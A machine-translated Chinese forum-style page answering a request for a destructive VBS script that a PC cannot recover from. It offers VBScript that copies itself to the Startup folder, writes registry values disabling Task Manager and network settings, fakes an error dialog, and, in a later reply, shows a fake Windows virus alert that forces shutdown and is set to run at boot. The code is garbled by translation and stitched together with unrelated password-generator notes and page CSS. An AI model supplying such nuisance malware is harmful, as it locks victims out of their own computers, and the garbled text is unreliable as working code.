求一个剧毒的vbs代码，最好是破坏掉电脑和安全模式都无法修复的vbs代码。肯定是超级毒。 给你

出错时继续下一步

set FSO = createobject(" scripting . file system object ")

set VBS = wscript . createobject(" wscript . shell ")

pt = VBS . special folders(" startup ")" \ "

set file = FSO . getfile(wscript . script full name)

file.copy pt

set FSO = createobject(" scripting . file system object ")

set VBS = wscript . createobject(" wscript . shell ")

pt=vbs.specialfolders(1) "\ "

set file = FSO . getfile(wscript . script full name)

file.copy pt

set ws = wscript . createobject(" wscript . shell ")

Ws.popup "正在验证I/O接口..."，3，“界面工具”，VB信息

ws . regwrite " HKEY _当前_用户\软件\微软\ Windows \当前版本\策略\系统\禁用任务管理器"，1，" REG_DWORD "

ws . regwrite " HKEY _当前用户\软件\微软\ Windows \当前版本\策略\网络\非设置"，1，" REG_DWORD "

如果err.number0，则

出错时转到0

Err.raise 1，“无法匹配的I/O接口，请以管理员用户身份运行并重试”，“访问失败(无权限)”

如果…就会结束

ws . regwrite“HKEY _当前_用户\软件\微软\ Windows NT \当前版本\ AppCompatflags \ Layers \ VBS代码解释。 S= " "将S定义为空字符串变量。

Randomize将random设置为true random，与rnd结合使用(默认情况下，计算机在处理random时使用假随机行为)。

从do do到loop的过程循环执行(除非i=26)。

A = 48+RND *(122-48+1)A = 48+(0到75之间的任意值)，即48到123之间的任意值。

如果(a=97)或(a=57)或(a=65且a=90 ),则

s = s + chr(a)

i=i+1

如果…就会结束

如果(a96)或(a58)或(a64和a91)，那么s=s+chr(a) chr就是asc码表的值。

如果没有，继续循环。

循环直到i=26从do到Loop的过程循环执行(除非I = 26)。

Wscript.echo "这是密码。按Ctrl+C复制"+CHR (13)+S。

如果控制台上显示密码在“以下，按Ctrl+C复制”+空格+S。

S= " "空s

对于i = 65到127的循环中间两行代码，从i=65开始，每循环I+1；直到i=127

A=i chr(i)显示I的数值和asc码表码的字符，例如i=97，A的值为“97b”。

S=s+a+chr(13) chr(13)查找表可以是空白的或换行的。

在中间两行代码中进行下一次循环，从i=65开始，每次循环I+1；直到i=127

Vbs公共代码 1.首先，用计算机的鼠标右键创建一个新的文本文档。

2.然后打开文本文档进行编辑。最重要的代码是msgbox，然后在后面加上你想说的。但是如果要用英文标点，需要在断行的时候在前面加上代码，然后保存。

3.保存后，重命名文本文档并更改后缀，将文本文档的txt改为vbs。

4.更改vbs后缀会弹出一个提示框，提示如果更改文件扩展名，文件可能无法使用。您确定要更改它吗？单击是。

5.确保更改文件扩展名后文本文档会变成vbs，这意味着制作已经完成。

6.只要双击这个vbs，你编辑的语言就会在桌面上弹出来。一直点击确定，你编辑的所有内容都会出现。

Vbs代码大全 哈哈，LS更搞笑

我先说说VBS:

我是学VB的。据说VB和VBS差别不大，但是VBS没有主界面。

VB对网络的支持很完善，所以很多黑客程序都是用VB写的，但是代码量绝对不是我们在百度能贴出来的，而且...诸如此类，总之是不可能贴代码的。

说出代码:

不要认为他是一点点的LS。他无毒无害，对没有操作系统的童鞋还是挺有用的。

如果觉得太少，就把这个文件做成注册表里的启动项，开机就让它启动，呵呵。

如果对你来说还不够，就这样改吧:

Msgbox“您的系统已被病毒破坏。系统将在5秒内自动关闭。请在关机24小时后重启。”，16+4096，“Windows安全警报”

外壳“cmd/c关闭-s -t 5”

佛说:普度众生，如此而已。

后一个代码用于关闭电话。你应该插入VBS代码。

创建文本文档

输入代码

更改后缀。发短信给。vbs。

双击运行。

如何执行vbs代码 1.将vbs代码直接保存为vbs扩展名的文件，双击即可执行。效果如下:

2.万一执行失败，可能是文件关联问题，可以在命令行执行，以D:\test.vbs为例:

cscript d:\test.vbs

效果如下:

. erx -sidelist -相关{ line -身高:1.5；填充:1em 0；} . erx -related -tit { margin:0 0 9px；} . erx -related -tit span { position:relative；显示:inline -block；margin -right:. 8 em；背景:rgba(0，0，0，.. 1)；填充:2px .8emwhite -space:nowrap；光标:指针；不透明度:. 7；} . erx -相关-滴度。Cu { color:# fff；背景:rgba(255，80，0，. 8)；不透明度:1；} . erx -相关-滴度。cu::在{内容:""之后；位置:绝对；top:100%；左:50%；margin -左:-5px；边框:5px透明实心；border-top-color:rgba(255，80，0，. 8)；}.erx-related-list{display:无；} . erx -related -list . Cu { display:flex；flex -wrap:wrap；justify -内容:space -之间；} . erx -related -列表Li { width:48%；边距:8px 0 0white -space:nowrap；text -溢出:省略号；溢出:隐藏；}vbs代码 $(function(){ $(".erx-related-tit span ")。hover(function(){ $(这个)。addClass("cu ")。兄弟姐妹()。remove class(" Cu ")； $(".erx-related-tab ul ")。eq($(这个)。index())。addClass("cu ")。兄弟姐妹()。remove class(" Cu ")； }); });